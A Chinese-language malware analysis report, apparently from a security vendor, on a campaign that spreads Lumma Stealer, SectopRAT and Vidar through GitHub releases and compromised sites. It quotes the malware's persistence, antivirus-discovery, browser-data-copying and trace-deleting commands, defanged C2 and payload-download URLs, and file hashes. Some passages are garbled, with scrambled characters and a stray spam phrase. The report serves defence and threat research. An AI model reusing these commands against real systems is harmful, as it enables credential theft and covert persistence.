摘要
- 趨勢科技 Managed XDR 團隊調查了一起經由 GitHub 散布 Lumma Stealer 的攻擊行動,駭客利用該平台的版本發行 (release) 基礎架構來散布各種恶意程式,包括 SectopRAT、Vidar 和 Cobeacon。
- 駭客使用 GitHub 版本發行基礎架構來突破防线,讓使用者從安全的網址下载檔案,這些檔案會將機敏資料外傳至駭客的幕後操縱 (CC) 伺服器,並执行一些指令來躲避偵測。
- Lumma Stealer 與其他恶意程式變種會在系統植入並执行其他工具,並且產生多個目錄和暫存資料,還會使用 PowerShell 腳本和指令列 (Shell) 命令來常駐於系統,並將資料外傳。
- 這起行動所用的手法、技巧和程序 (TTP),看起來與 Stargazer Goblin 集團所使用的類似,該集團同樣也使用已遭駭入的網站和 GitHub 來散布惡意檔案。分析顯示,他們使用的網址都有一定的格式,而且同樣也使用已遭駭入的正常網站來將使用者重新導向至 GitHub 代管的惡意檔案。
- 公司若能主動採取一些資安最佳實務原則及建議,將有助於強化自身的防禦來對抗像 Lumma Stealer 這樣的威脅,包括:下载前預先檢查一下網址和檔案、定期檢查數位憑證,以及採用可偵測及防範惡意活動的端點防護解决方案。
介绍
live casino online? Managed XDR?服务團隊發現了一起精密的攻擊行動利用 GitHub 的版本發行 (release) 基礎架構來散布 Lumma Stealer 资讯窃取程式。根據調查顯示,駭客利用人們對 GitHub 平台的信任來散布资讯窃取程式以便進行其他後續惡意活動,接著,它會下载並执行其他恶意程式,包括:SectopRAT 遠端存取木馬程式、Vidar、Cobeacon 以及其他 Lumma Stealer 變種。
这起攻击行动与 使用的攻擊手法有諸多雷同之處,都是利用已遭駭入的網站和 GitHub 儲存庫來散布惡意檔案。除此之外,從其感染程序不斷變換以及使用各式各樣惡意檔案來看,證明該集團擁有良好的適應力,而且手法會不斷演進。
本文剖析了這起攻擊所用的手法、技巧與程序 (TTP),並點出資安威脅情報對於發掘駭客的攻擊策略扮演何種關鍵角色。
突破防线
我們在追溯這兩起不同 Lumma Stealer 案例最早的入侵點時,發現它們都是因為使用者從 GitHub 的版本發行基礎架構下载了檔案。其中一個案例,使用者經由 Google Chrome 瀏覽器下载了名為「Pictore.exe」的檔案,其網址指向 GitHub 代管的一個發行版本,儲存在雲端服务供應商上。另一起案例也是類似的情況,但下载的檔案為「App_aeIGCY3g.exe」,該檔案同樣也是暫時存放在 GitHub 的版本發行機制。這些案例示範了駭客利用人們信賴的平台 (如 GitHub) 來散播惡意檔案的手法。
這兩個檔案当初是由 ConsolHQ LTD 和 Verandah Green Limited 所簽署 (分別在 2024 年 12 月 6 日和 12 月 12 日),但其憑證已經被發行機構公開撤銷,表示這些檔案現在已被視為不可信賴,而且可能為惡意檔案。
以下是我們從監測資料当中擷取出來的 GitHub 網址字串:
https[:]//objects.githubusercontent[.]com/github-production-release-asset-2e65be/898537481/194f6acb-d420-4d97-b7c1-01741d4bc184?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20241204%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241204T193520Z&X-Amz-Expires=300&X-Amz-Signature=80e7a9318067557b21a24d1906ab3f05a5f250eb63dde4dd8a3335908953a46a&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3DPictore.exe&response-content-type=application%2Foctet-stream
這個例子中的網址提供了一個臨時的安全權限從 GitHub 的版本發行儲存區下载一個名為「Pictore.exe」的档案,其中的「X-Amz-Expires」參數代表該網址的有效期限只有 300 秒 (5 分鐘)。此外,使用預先簽署網址的作法,也顯示該檔案隸屬於某個 GitHub 儲存庫底下的發行版本,確保下载時需經過認證,且時間有限。
执行
我们发现「Pictore.exe」和「App_aeIGCY3g.exe」這兩個檔案其實就是 Lumma Stealer 恶意程式,專門竊取各種機敏資訊,如:登入憑證、虛擬加密貨幣錢包、系統資訊以及檔案,此外還能與駭客掌控的伺服器通訊,進一步從事更多惡意活動。由於這兩個檔案的行為大致相同,因此本文主要討論我們從 Pictore.exe 所蒐集到的资料。
Pictore.exe 执行時會產生以下檔案:
- nsis7z.dll
- app-64.7z
- System.dll
- nse2869.tmp
- nsu27DC.tmp
被植入的档案「C:\Users\<username>\AppData\Local\Temp\1\nse2869.tmp\nsis7z.dll」是一個 7zip 檔案壓縮工具,用來解開以下壓縮檔:C:\Users\<username>\AppData\Local\Temp\1\nse2869.tmp\app-64.7z。
压缩档「app-64.7z」中的档案会解开至以下目录:C:\Users\<username>\AppData\Local\Temp\1\nse2869.tmp\7z-out\,其中包含了 Lumma Stealer 及其元件。從這些檔案看來,惡意执行檔是使用 Electron 所開發 (透過 Chromium 來產生使用者介面),或者本身就是一個基於 Chromium 的應用程式。
Electron 應用程式預設會將 Chromium 包含在應用程式当中,用來產生圖形使用者介面。此外,它使用了「.pak」檔案和 V8 快照之類的 Chromium 資源,也代表它很可能是一個 Electron 應用程式。
我们观察到 Pictore.exe 連上了兩個外部 IP 位址,有可能是它的幕後操縱 (CC) 伺服器,分別為:192[.]142[.]10[.]246:80 和 192[.]178[.]54[.]36:443。至於 App_aeIGCY3g.exe 則是經由連接埠 80 連上「84[.]200[.]24[.]26」。
在查看我们的 Trend Vision One??監測資料時,我們發現了發送至以下兩個外部 IP 位址的 HTTP 請求:192[.]142[.]10[.]246 和 84[.]200[.]24[.]26 :
GET hxxp://192[.]142[.]10[.]246/login.php?event=init&id=Y3VjdW1iZXI=&data=MTYgR0JfW29iamVjdCBPYmplY3RdX01pY3Jvc29mdCBCYXNpYyBEaXNwbGF5IEFkYXB0ZXJfdHJ1ZV8xNDAweDEwNTBfV2luZG93cyAxMCBQcm9fMyBtaW51dGVzICgwLjA2IGhvdXJzKV9DOlxVc2Vyc1xCcnVub19ERVNLVE9QLUVUNTFBSk9fQnJ1bm9fV2luZG93c19OVF94NjRfMTAuMC4xOTA0NF9DOlxVc2Vyc1xCcnVub1xBcHBEYXRhXFJvYW1pbmdfQzpcVXNlcnNcQnJ1bm9cQXBwRGF0YVxMb2NhbFxUZW1wX0RFU0tUT1AtRVQ1MUFKT19fSW50ZWw2NCBGYW1pbHkgNiBNb2RlbCA4NSBTdGVwcGluZyA3LCBHZW51aW5lSW50ZWxfQU1ENjRfQzpfNF9DOlxVc2Vyc1xCcnVub1xBcHBEYXRhXExvY2FsXFRlbXBcMnBsRVRXRzM1RXdheU5zRnBXQ01Xcnd2VnJnXFBpY3RvcmUuZXhl
GET hxxp://84[.]200[.]24[.]26/login.php?event=init&id=dW5kZXJza2lydA==&data=MTYgR0JfW29iamVjdCBPYmplY3RdX01pY3Jvc29mdCBCYXNpYyBEaXNwbGF5IEFkYXB0ZXJfdHJ1ZV8xMjgweDk2MF9XaW5kb3dzIDEwIFByb18zIG1pbnV0ZXMgKDAuMDYgaG91cnMpX0M6XFVzZXJzXEJydW5vX0RFU0tUT1AtRVQ1MUFKT19CcnVub19XaW5kb3dzX05UX3g2NF8xMC4wLjE5MDQ0X0M6XFVzZXJzXEJydW5vXEFwcERhdGFcUm9hbWluZ19DOlxVc2Vyc1xCcnVub1xBcHBEYXRhXExvY2FsXFRlbXBfREVTS1RPUC1FVDUxQUpPX19JbnRlbDY0IEZhbWlseSA2IE1vZGVsIDg1IFN0ZXBwaW5nIDcsIEdlbnVpbmVJbnRlbF9BTUQ2NF9DOl80X0M6XFVzZXJzXEJydW5vXEFwcERhdGFcTG9jYWxcVGVtcFwycHBydEJkanpoZjVpVnRUZkFKVDVhTnNSeERcU2NpZWxmaWMuZXhl 200
网址中的字串解码后如下:
hxxp://192[.]142[.]10[.]246/login.php?event=init&id=cucumber=&data=16 GB_[object Object]_Microsoft Basic Display Adapter_true_1400x1050_Windows 10 Pro_3 minutes (0.06 hours)_C:\Users\<username>_DESKTOP-<computername>_<username>_Windows_NT_x64_10.0.19044_C:\Users\<username>\AppData\Roaming_C:\Users\<username>\AppData\Local\Temp_DESKTOP-<computername>__Intel64 Family 6 Model 85 Stepping 7, GenuineIntel_AMD64_C:_4_C:\Users\<username>\AppData\Local\Temp\2plETWG35EwayNsFpWCMWrwvVrg\Pictore.exe
GET hxxp://84[.]200[.]24[.]26/login.php?event=init&id=underskirt==&data=16 GB_[object Object]_Microsoft Basic Display Adapter_true_1280x960_Windows 10 Pro_3 minutes (0.06 hours)_C:\Users\<username>_DESKTOP-<computername>_<username>_Windows_NT_x64_10.0.19044_C:\Users\<username>\AppData\Roaming_C:\Users\<username>\AppData\Local\Temp_DESKTOP-<computername>__Intel64 Family 6 Model 85 Stepping 7, GenuineIntel_AMD64_C:_4_C:\Users\<username>\AppData\Local\Temp\2pprtBdjzhf5iVtTfAJT5aNsRxD\Scielfic.exe
從這些字串可看出恶意程式會蒐集一些系統資訊,包括:記憶體大小、顯示器介面卡、作業系統版本、主機名稱、系統運作時間、使用者目錄路徑,以及暫存目錄的內容。接著,這些資料很可能被外傳到駭客掌控的伺服器 (192[.]142[.]10[.]246 和 84[.]200[.]24[.]26)。
以下是 Pictore.exe (以及 App_aeIGCY3g.exe) 用到的指令列命令:?
指令列 | 详细说明 |
---|---|
Pictore.exe --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\ <redacted>\AppData\Roaming\qfwbhfiixlbsvkug" --mojo-platform-channel-handle=2472 --field-trial-handle=1996,i,16339862247624116936, 1579335656413102094,131072 -- disablefeatures= SpareRendererForSitePerProcess, WinRetrieveSuggestionsOnlyOnDemand /prefetch:8 |
這道指令會蒐集 GPU 相關資訊,如:廠商識別碼 (ID)、裝置識別碼、驅動程式版本等等。它會停用 GPU 沙盒模擬分析功能來避免被那些會監控 GPU 處理程序的資安軟體所偵測。它會檢查 GPU 的組態設定來偵測 GPU 是否正在虛擬化環境中执行 (這對資安實驗室和沙盒模擬環境來說很常見)。 |
Pictore.exe --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\ <redacted>\AppData\Roaming\qfwbhfiixlbsvkug" --mojo-platform-channel-handle=2472 --field-trial-handle=1996,i,16339862247624116936, 1579335656413102094,131072 -- disable-features= SpareRendererForSitePerProcess, WinRetrieveSuggestionsOnlyOnDemand /prefetch:8 |
這道指令會蒐集網路相關資訊,如:服务與平台的頻道代碼 (channel handle),以便與惡意服务建立通訊。它會停用某些功能來避免被偵測,並強化 Lumma Stealer 的功能。它會設定一個自訂的使用者資料目錄來儲存或暫存資料,使用特定旗標來避開沙盒模擬分析機制,藉此躲避資安工具的監控。 |
Pictore.exe --type=gpu-process --user-data-dir="C:\Users\<redacted>\AppData\Roaming\qfwbhfiixlbsvkug" --gpu- "preferences=UAAAAAAAAADgAAAYAAAAA AAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAA AAAAAQAAAAAAAAAAAAAAA AAAAAAAAAABgAAAAAAAAA GAAAAAAAAAAIAAAAAAAAAAgAAAAAAAA ACAAAAAAAAAA= --mojo-platform-channel-handle=2000 --field-trial- handle= 1996,i,16339862247624116936,1579335656413102094,131072 --disable-features=SpareRendererForSitePerProcess, WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 |
這道指令會蒐集 GPU 偏好設定來調整系統行為以躲避偵測、使用自訂的使用者資料目錄來暫存資料,並停用一些功能來躲避偵測。使用已編碼的 GPU 設定與平台代碼,代表它會與駭客掌控的服务暗中通訊,同時避開資安軟體。 |
powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - | 這道指令會啟動無腳本执行限制的 PowerShell,並且不載入設定檔和標誌、讓工作階段保持開啟狀態以接收進一步指令,同時還允許經由管道 (pipeline) 执行其他程式碼 (通常用於执行隱匿或惡意的活動)。 |
C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log"" | 这道指令使用「findstr」指令搜寻「setupact.log」檔案中是否有「Detected boot environment」字串,這通常用於在設定或安裝過程中檢查系統的啟動環境,可能是為了蒐集有關系統狀態的資訊以供偵查用途。 |
C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%" | 這道指令會顯示電腦的完整網域名稱 (FQDN),也就是電腦名稱 (%COMPUTERNAME%) 加 DNS 網域 (%USERDNSDOMAIN%) 的组合,这通常用来蒐集系统网路组态设定相关资讯,尤其是电脑的名称和网域。 |
C:\Windows\system32\cmd.exe /d /s /c "chcp" | 这道指令会设定指令列介面所使用的语言,用来确保恶意程式在不同的地理区域设定下都能正常运作。 |
表 1:指令列命令。
SectopRAT、Visar 和 Lumma Stealer
我們發現,最初的 Lumma Stealer 檔案:Pictore.exe 和 App_aeIGCY3g.exe 會在受害電腦上植入各種工具和恶意程式,如:SeptopRAT、Vidar、Cobeacon 以及另一個 Lumma Stealer 變種。這些都是先產生在暫存目錄底下隨機命名的資料夾內 (而且很可能是動態產生的資料夾),然後再加以执行。
以下是惡意檔案產生的 SectopRAT 檔案:
- C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\<username>\AppData\Local\Temp\1\yVUCCXe3c5E4qLcCd4\PillsHarvest.exe""
- C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\<username>\AppData\Local\Temp\1\yVUCCXe3c5E4qLcCd4\BelfastProt.exe""
- C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\<username>\AppData\Local\Temp\cxCzdFWzpj8waIrVyr\HumanitarianProvinces.exe””
- C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\<username>\AppData\Local\Temp\2pprtBdjzhf5iVtTfAJT5aNsRxD\Scielfic.exe””
請注意,由於所有 SectopRAT 檔案的行為其實都一樣,所以這裡我們只挑「HumanitarianProvinces.exe」这个档案来分析。
当 HumanitarianProvinces.exe 执行之後,它會在「C:\Users\<user>\AppData\Local\Temp\」暫存目錄內產生了多個隨機命名的目錄。以下是這些目錄名稱的一些範例:
- 狈辞飞、贰迟别谤苍补濒、笔谤别蝉蝉颈苍驳、搁别肠辞尘尘别苍诲、厂别苍、厂肠丑别尘补、翱辫别苍颈苍驳蝉、础肠肠别蝉蝉、贰补谤苍、厂颈驳苍耻辫、颁丑别补迟蝉、骋颈蹿迟、厂颈濒惫别谤、厂迟补迟耻迟辞谤测、搁别辫谤颈苍迟蝉、搁飞补苍诲补、叠谤补颈苍、础诲惫别谤迟颈蝉别谤、滨苍惫别苍迟辞谤测、贬别谤补濒诲、搁别蝉迟谤颈肠迟别诲、厂丑别别谤、叠补驳丑诲补诲、惭别尘辞谤颈别蝉、厂辫别苍迟、贵别惫别谤。
接着,它会将「Signup」这个档案重新命名成「Signup.cmd」,将副档名改成「.cmd」是為了方便它直接执行這個腳本:
CLI command: "C:\Windows\System32\cmd.exe" /c copy Signup Signup.cmd && Signup.cmd
腳本內含一道指令來將暫存目錄中的多個檔案串接成一個檔名為「t」的檔案。它似乎會複製一些它植入的檔案,並檢查電腦上的某些特定檔案。腳本中的指令所做的事情包括:將多個檔案合併成一個二進位檔案、建立暫存用目錄、加入延遲來躲避偵測或進行同步,以及执行偵查。
指令 | 说明 |
---|---|
choice /d y /t 5 | 在延遲 5 秒之後自動選擇預設的「y」選項。? |
cmd? /c copy /b ..\Sen + ..\Silver + ..\Reprints + ..\Cheats + ..\Gift + ..\Openings + ..\Rwanda + ..\Statutory + ..\Schema + ..\Baghdad + ..\Inventory + ..\Recommend + ..\Earn + ..\Eternal + ..\Access t | 将先前在上层目录中建立的档案串接成一个名為「迟」的二进位档案。 |
findstr /V "LOCKLANESTHICKCAPTAINSPOTCMSFAVOURITEASSESSED" Advertiser | 搜寻「础诲惫别谤迟颈蝉别谤」档案中不含任何指定字词的资料行。 |
cmd /c md 201626 | 在当前工作目錄下建立一個名為「201626」的新目錄。 |
findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" | 搜尋是否有防毒軟體或資安軟體相關的處理程序或服务。 |
tasklist | 顯示系統上目前正在执行的處理程序清單。 |
findstr /I "wrsa opssvc" | 以不区分大小写方式搜寻与「飞谤蝉补」或「辞辫蝉蝉惫肠」这两个字相关的防毒软体或资安软体。 |
Denmark.com t | Denmark.com (一個 AutoIt 腳本) 执行經由串接產生的二進位檔案「t」,在其他情況下為:Sports.com、 Privilege.com、Fabric.com。 |
表 2:腳本指令。
- 建立的目录:颁:袄鲍蝉别谤蝉袄&濒迟;耻蝉别谤苍补尘别&驳迟;袄础辫辫顿补迟补袄尝辞肠补濒袄罢别尘辫袄201626
- 建立的档案:颁:袄鲍蝉别谤蝉袄&濒迟;耻蝉别谤苍补尘别&驳迟;袄础辫辫顿补迟补袄尝辞肠补濒袄罢别尘辫袄201626袄顿别苍尘补谤办.肠辞尘
從記錄檔內执行 Denmark.com (AutoIt3.exe) 的動作就能可看出這是一起精密的攻擊,目的是要竊取資料、常駐於系統,然後進一步入侵目標電腦。具體的作法包括:建立開機自動执行機制、複製瀏覽器 Cookie 等機敏資訊,並且使用「RegAm.exe」這類正常工具將恶意程式碼注入處理程序以便連上 CC 伺服器 (91[.]202[.]233[.]18)。
- GET hxxp://91[.]202[.]233[.]18:9000/wbinjget?q=B2E581C85432BD4DF6A59A00CBDA1CB3
如圖 7 所示,SectopRAT 還會將 Chrome 瀏覽器資料複製到本機暫存資料夾「C:\Users<user>\AppData\Local\Google\Chrome\User Data」。歹徒經常複製這些資料來竊取瀏覽器儲存的登入憑證、連線階段 Cookie、自動填入資訊,以及瀏覽歷程記錄,以便竊取帳號、盜用使用者身分和执行進一步攻擊。
此外,我們也發現它會利用系統啟動資料夾 (Startup) 來常駐於系統。以下指令會在 Windows 的啟動資料夾中建立一個「.url」(捷徑) 檔案來確保系統在開機時會执行「healthPulse.url」:
cmd /k echo [InternetShortcut] > "C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HealthPulse.url" & echo URL="C:\Users\<username>\AppData\Local\WellnessPulse Solutions\HealthPulse.js" >> "C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HealthPulse.url" & exit
HealthPulse.url 是一個用來执行 HealthPulse.js 脚本的网际网路捷径档案。接着,HealthPulse.js 會使用 ActiveX 來执行「HealthPulse.scr」(一個 AutoIt 檔案)。
在某些受害電腦上,SectopRAT 會建立排程工作來常駐於系統內。如以下指令所示,一個名為「Lodging」的排程工作每五分鐘會执行一次「Quantifyr.js」脚本:
cmd /c schtasks.exe /create /tn "Lodging" /tr "wscript //B 'C:\Users\<username>\AppData\Local\Innovative Analytics Solutions\Quantifyr.js'" /sc minute /mo 5 /F
「DesignersCrawford.exe」檔案就是我們所指的 Vidar 恶意程式,它一開始的動作與前面分析的檔案類似,包括產生「Privilege.com 」(AutoIt3.exe) 檔案來輔助 Vidar 的攻擊行動,指令如下:
processCmd: Privilege.com? E
objectCmd: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Vidar 會啟動 Chrome 瀏覽器並指定它啟用一個遠端除錯連接埠 (9223),然後載入預設的使用者設定檔。這個遠端除錯連接埠可讓外部處理程序 (包括駭客) 與瀏覽器的执行個體互動。
接著從 Microsoft OneDrive 和 Discord 複製瀏覽器資料與雲端儲存資料至「C:\ProgramData\S2VKXL68GLN7\<6 random char>」资料夹,包括以下资料:
- Discord LevelDB 檔案,內含使用者活動、設定、Discord 使用的快取資訊等資料。
- Chrome 使用者資料,通常儲存在「AppData\Local\Google\Chrome\User Data」资料夹内,内含设定档、工作阶段资料以及快取档案。
- Microsoft Edge 設定檔資料,包括使用者偏好設定、Cookie 以及連線階段資料。
- Mozilla Firefox 資料,包括儲存密碼時使用的加密金鑰、其他安全性資料 (如憑證) 以及備份。
- OneDrive 同步檔案。
当資料在進行複製時,會出現一個對外連線至 5[.]75[.]212[.]196:443 的遠端伺服器,這有高機率是資料外傳的徵兆,駭客很可能正在將竊取到的資訊傳送至遠端伺服器,以供後續利用。此外,系統還會連上「ikores[.]sb」這個已知與 Vidar 相關的網域。
為了躲避侦测,它会使用「rd /s /q」这道指令来删除「C:\ProgramData\S2VKXL68GLN7」目录及其所有内容。这道指令会移除指定的目录及其子目录而不会显示确认讯息,确保资料夹内的任何档案或痕跡都会被暗中清除。开头的「timeout /t 10」指令會加入一個 10 秒的延遲,這可能是為了避免被立即發現,或是要讓其他處理程序先完成作業再执行清除工作。最後,「exit」指令会关闭指令列介面并完成整个程序:
CLI command: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\S2VKXL68GLN7" & exit
另一個被植入的档案「ResetEngaging.exe」就是我們所指的 Lumma Stealer 變種。ResetEngaging.exe 与其他被植入的档案一样会建立一个 AutoIt3 檔案 (Fabric.com) 來輔助恶意程式执行:
CLI command: Fabric.com V
這道指令會觸發 DNS 查詢至「lumdukekiy[.]shop」(一個與 Lumma Stealer 相關的網域),這會讓駭客存取 Chrome 瀏覽器位於「C:\Users<user>\AppData\Local\Google\Chrome\User Data」的資料。其目的是為了蒐集資訊,如:儲存的登入憑證、工作階段 Cookie、自動填入資訊,以及瀏覽歷程記錄。
此外,還會在暫存目錄內建立一個 PowerShell 腳本 (GZ7BLVTR7HDJSNI8Z66BYYANMD.ps1)。此腳本內含加密編碼的指令,用來試圖連上正常的外部網域。這些請求的作用似乎是為了檢查連線,可能是為了確保受駭系統能夠連上外部伺服器,然後再下载其他惡意檔案,或接收來自 CC 基礎架構的進一步指示。
此脚本会从「hxxps://klipcatepiu0[.]shop/int_clp_sha[.]txt」下载並解開一個 ZIP 檔案,並儲存到暫存目錄。此 ZIP 檔案內含执行檔,隨後會解開來执行。
骇客溯源
此次攻擊行動所觀察到的手法,與 Stargazer Goblin 威脅集團的手法有很大雷同 (如 Check Point Research 在其 2024 年 7 月的 报告中所指出)。儘管两者的感染程序和具体的细节有所差异,但有几个关键要素是一致的:
- 已遭駭入的網站:用來部署驗證和重導所需的惡意 PHP 腳本。
- GitHub 儲存庫:利用人們信賴的平台來存放和散布惡意檔案。
- 重新导向基础架构:採用量身订製的重新导向机制来将受害者导向恶意内容。
根據 VirusTotal 對下载檔案的分析顯示,受害者在被重導至惡意的 GitHub 版本發行機制之前會先與某個源头网址互動,重導之後使用者就能下载惡意檔案。
藉由分析送交到 VirusTotal 的類似檔案,我们观察到它們的源头网址路徑都有一定的格式。這些路徑大多都含有「page」这个字,这有可能是骇客的命名习惯。
SHA256 雜湊碼 | 源头网址 | GitHub 版本發行檔案 |
---|---|---|
de6fcdf58b22a51d26eacb0e2c992d 9a894c1894b3c8d70 f4db80044dacb7430 |
hxxps://eaholloway[.]com /updatepage333 |
hxxps://github[.]com /viewfilenow/Downloadnew/| releases/download/3214214/Pictore.exe |
afdc1a1e1e934f18be28465315704a12 b2cd43c186fbee94 f7464392849a5ad0 |
hxxps://afterpm[.]com /pricedpage/ |
hxxps://github[.]com/down4up/ 44/releases/download/ 33/App_aeIGCY3g.exe |
hxxps://enricoborino[.]com /propage66 |
||
b87ff3da811a598c284997222e0b5a 9b60b7f79206f8d795 781db7b2abd41439 |
hxxp://sacpools[.]com /pratespage |
hxxps://github[.]com/zabdownload/ v14981950815/releases/download/ 23113123/Squarel_JhZjXa.exe |
cd207b81505f13d46d94b08fb5130dd ae52bd1748856e6b474 688e590933a718 |
hxxps://startherehosting.net /todaypage |
hxxps://github[.]com/g1lsetup/iln7 /releases/download/ 423425325/NanoPhanoTool.exe |
hxxps://kassalias[.]com /pageagain/ |
||
hxxps://pmpdm[.]com /webcheck357 |
||
823d37f852a655088bb4a81d2f3a8 bfd18ea4f31e7117e5713 aeb9e0443ccd99 |
hxxps://ageless-skincare[.]com/gn/ | hxxp://github[.]com/yesfound/worked /releases/download/ 1/QilawatProtone.exe |
380920dfcdec5d7704ad1af1ce35fe ba7c3af1b68ffa4 588b734647f28eeabb7 |
hxxps://compass-point-yachts[.]com /nicepage77/pro77.php |
hxxps://github[.]com/down7/Settingup /releases/download/ set/NativeApp_G5L1NHZZ.exe |
d8ae7fbb8db3b027a832be6f1acc4 4c7f5aebfdcb306c d297f7c30f1594d9c45 |
hxxps://pmpdm[.]com /webcheck/ |
hxxps://github[.]com/JF6DEU/vrc121 /releases/download/ 2025/X-essentiApp.ex_ |
hxxps://github[.]com/g1lsetup/v2025 /releases/download/ ex/X-essentiApp.exe |
||
15b195152a07bb22fec82aa5c90c7 ff44a10c0303446ce 11f683094311a8916b |
hxxps://comicshopjocks[.]com /nicepage/pro.php |
hxxps://github[.]com/dowwnloader /FileSetup /releases/download/ 124124125/NativeApp_azgEO1k4.exe |
800c5cd5ec75d552f00d0aca42bda de317f12aa797103b93 57d44962e8bcd37a |
hxxps://lakeplacidluxuryhomes[.]com /updatepage/ |
hxxps://github[.]com/magupdate /Freshversion10/releases/download/ 12315151/NativeApp_01C02RhQ.exe |
hxxps://lakeplacidluxuryhomes[.]com /webpage37/ |
||
hxxps://lakeplacidluxuryhomes[.]com /pagenow/ |
||
5550ea265b105b843f6b094979bfa 0d04e1ee2d1607b2e0 d210cd0dea8aab942 |
hxxps://primetimeessentials[.]com /newpagyes/ |
hxxps://github[.]com/kopersparan /Downloadable /releases/download/ 314/Paranoide.exe |
3e8ef8ab691f2d5b820aa7ac80504 4e5c945d8adcfc51ee7 9d875e169f925455 |
hxxps://razorskigrips[.]com /newnewpage/ |
hxxps://github[.]com/mp3andmovies /installer /releases/download/ versoin4124/AevellaAi.2.exe |
表 3:從 VirusTotal 上蒐集到的類似檔案。
使用者最初互動的網域目前已無法存取,不過,根據 Internet Archive 的「Wayback Machine」提供的快照顯示,這些都是一般正常且活躍多年的網站,有些至少可追溯至 1999 年。不過這些網站都已遭駭客入侵,使得駭客可注入惡意頁面和腳本來將使用者重導至 GitHub 代管的惡意檔案。
駭客通常會在攻擊過程当中插入以下輔助檔案:一個作為基礎下载影像的影像檔 (如「/img/dwn.jpg」或「/img/download.jpg」),以及一個用於管理攻擊過程的重導動作或驗證使用者互動的 PHP 腳本 (如「/pro.php」和「/sleep.php」)。
不僅如此,我們也看出其中一個網站是使用 WordPress 所架設,突顯出這很可能是該集團的攻擊策略經常瞄準的一個弱點。
「源头网址」一節所列的絕大多數 GitHub 帳號目前都已無法存取,而且很可能因為散播惡意檔案而遭到停用。不過,仍有兩個帳號處於活躍狀態,且仍提供惡意的發行版本:
- hxxps://github[.]com/magupdate – joined 12/04/2024
- hxxps://github[.]com/yesfound/ – joined 12/11/2024?
分析这两个帐户的活动,显示它们仅有少量的特定动作:
- 这两个帐号都是新建立的。
- 他们的唯一活动就是建立一个储存库并发行一个恶意档案。
- 储存库名称使用一个叙述性文字再加一个数字的格式,其「Readme.md」内容有部分或全部取自储存库名称。
儘管這次攻擊行動所觀察到的手法與 Stargazer Goblin 駭客集團很像,但其执行方式卻有顯著差異。感染程序一開始都利用已遭駭入的網站將使用者重導至惡意的 GitHub 版本發行連結,其使用的網址通常含有「page」这个字,表示这是一种命名上的习惯。
這些已遭駭入的網站 (少有一個是利用 WordPress 架設的網站) 用來存放重導機制所需的檔案,包括基本影像檔案和 PHP 腳本,意味著這很可能是該集團攻擊策略当中經常利用的一個弱點。
攻擊行動中使用的 GitHub 帳號沒有太多活動,主要是建立儲存庫及存放惡意發行版本。兩個帳號的行為都很固定:建立使用敘述性名稱的儲存庫和發行版本,其 Readme.md 內容與儲存庫名稱非常相似。有別於以往使用 GitHub 帳號的攻擊行動,這些帳號似乎並未刻意建立聲望。
在單一感染事件中植入多個恶意程式家族,包括:Lumma Stealer、Visar 和 SectopRAT,顯示駭客的戰略目標是要對受害者造成最大的衝擊。而手法上的變換代表駭客刻意做出調整來躲避偵測並增加攻擊彈性。
防范措施与建议
- 公司可考慮採取以下威脅防範最佳實務原則來降低或防範 Lumma Stealer 這類恶意程式對其系統的衝擊:
- 在下载和执行之前預先檢查一下網址和檔案,尤其是來自 GitHub 這類可能散播恶意程式的平台。
- 对於不请自来的电子邮件中的连结和附件档案要小心检查,即使它们看起来很正常。在点选之前,先将滑鼠游标移到连结上方停一下来查看其实际的目的地。
- 定期檢查执行檔的數位憑證是否有效,以確保憑證未被撤銷。
- 採用端點防護解决方案來偵測及防止未經授權的指令列命令执行,例如 Lumma Stealer 用於偵查或資料外傳的指令。
- 偵測並封鎖與已知惡意 IP 位址的通訊,強制實施嚴格的防火牆規則來防範 CC 通訊,並監控異常的對外流量。
- 训练员工认识可能让他们感染恶意程式的网路钓鱼邮件、恶意网站,以及社交工程技巧。
- 考慮與 MDR 廠商合作來取得相關專業能力,以及即時的威脅偵測、分析、遏制能力,盡可能降低感染的衝擊。
- 採用 Trend Vision One 這類工具來將威脅情報融入您的資安当中,強化針對特定駭客集團或攻擊行動的偵測與溯源能力。
- 定期修补作业系统、瀏览器、第叁方应用程式来消除可能遭到攻击的漏洞。
- 在所有帳戶上啟用多重認證 (MFA),如此可降低登入憑證失竊所帶來的衝擊。
- 採用一套零信任方法,对於所有的使用者、程式码、连结以及第叁方整合功能皆採取「绝不信任、持续验证」的原则,以降低暴露於潜在威胁的风险。
Trend Vision One
Trend Vision One 是一套能簡化資安作業的公司網路資安平台,藉由整合多種防護功能、強化公司對攻擊面的掌握,以及提供資安風險狀況的全方位可視性,來協助公司更快偵測及攔截威脅。這套雲端式平台,運用了 AI 以及來自全球 2.5 億個感測器與 16 個威脅研究中心的威脅情報,在單一解决方案当中提供了完整的風險洞見、早期威脅偵測,以及自動化風險與威脅回應選項。
Trend Vision One 威脅情報
